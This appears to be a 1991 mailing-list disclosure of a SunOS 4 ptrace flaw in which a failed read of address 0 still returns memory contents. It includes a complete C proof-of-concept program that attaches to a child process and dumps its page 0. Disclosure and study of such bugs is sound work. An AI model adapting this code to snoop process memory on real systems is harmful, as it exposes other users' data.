Hello, There's a flaw in SunOS 4 ptrace that I've known about for some time, but haven't previously posted to this list. Cert and Sun were told yonks ago, but you know how these things are... I got fed up of sitting on it; and I wouldn't rate this as a big problem. The bug is very minor due to the lack of control, but potentially major (if you strike lucky). Basically, the ptrace READDIR call for address 0 fails with EIO, but still fills the supplied buffer with the requested data. This data, being address 0 - pagesize-1 of a process appears to be random data. This data may include anything. Indeed the first time I ran this I ended up with part of someone's email. I can't see a clear way to control which data you get. Also, further tests appear to show that this first page is owned by your own process. I managed to show this by writing a program that malloced a large amount of data, filled it with the letter A, and then looped around forever looking for non A's. Using a modifed copy of the program below, I then read and displayed page 0 (all A), wrote a page of B's to page 0, cleared my buffer, read and displayed page 0 again (all B). This implies that a write was succesful. However, the other process did not detect any A's being translated to B's, so I assume some copy-on-write scheme was used to make a new memory page to store the B's in. I've no idea whether this bug exists under Solaris; the program below will fail under it, but for other reasons. I'm not even sure whether it's been fixed in the newer SunOS 4 releases. Could people please confirm whether it's still there? Enjoy, James /* * Ptrace bug demonstration. * Written by James Bonfield (jkb@mrc-lmb.cam.ac.uk), 1991. */ #include <stdio.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <errno.h> #include <signal.h> #define BSIZE 8192 main() { int pid, wstat,i,j; char buf[BSIZE]; switch(pid=fork()) { case -1: perror("fork"); exit(1); case 0: /* child stops and simply lets parent do what it pleases to it */ /* Suprisingly well behaved :-) */ pause(); } /* parent now attaches to the child */ if (ptrace(PTRACE_ATTACH,pid,0,0,0) == -1) { perror("ptrace attach"); exit(1); } else { puts("Attached successfully"); } while(wait(&wstat) != pid); /* and grunches through it's memory (snoopy parent!) */ /* we clear our buffer first just to make sure we get the data from */ /* the ptrace() call */ for (i=0; i<BSIZE; i++) buf[i]=0; if (ptrace(PTRACE_READDATA,pid,0,BSIZE,buf) == -1) { fprintf(stderr,"\nREADDATA failed - error = %d\n",errno); perror("ptrace"); } write(1,buf,BSIZE); /* relinquish our snoops on the poor child */ if (ptrace(PTRACE_DETACH,pid,(int *)1,0,0) == -1) { puts("Failed to detach"); exit(1); } else puts("Detached successfully"); /* but we're not exactly feeling very kind to it are we? */ kill(pid,SIGHUP); return; }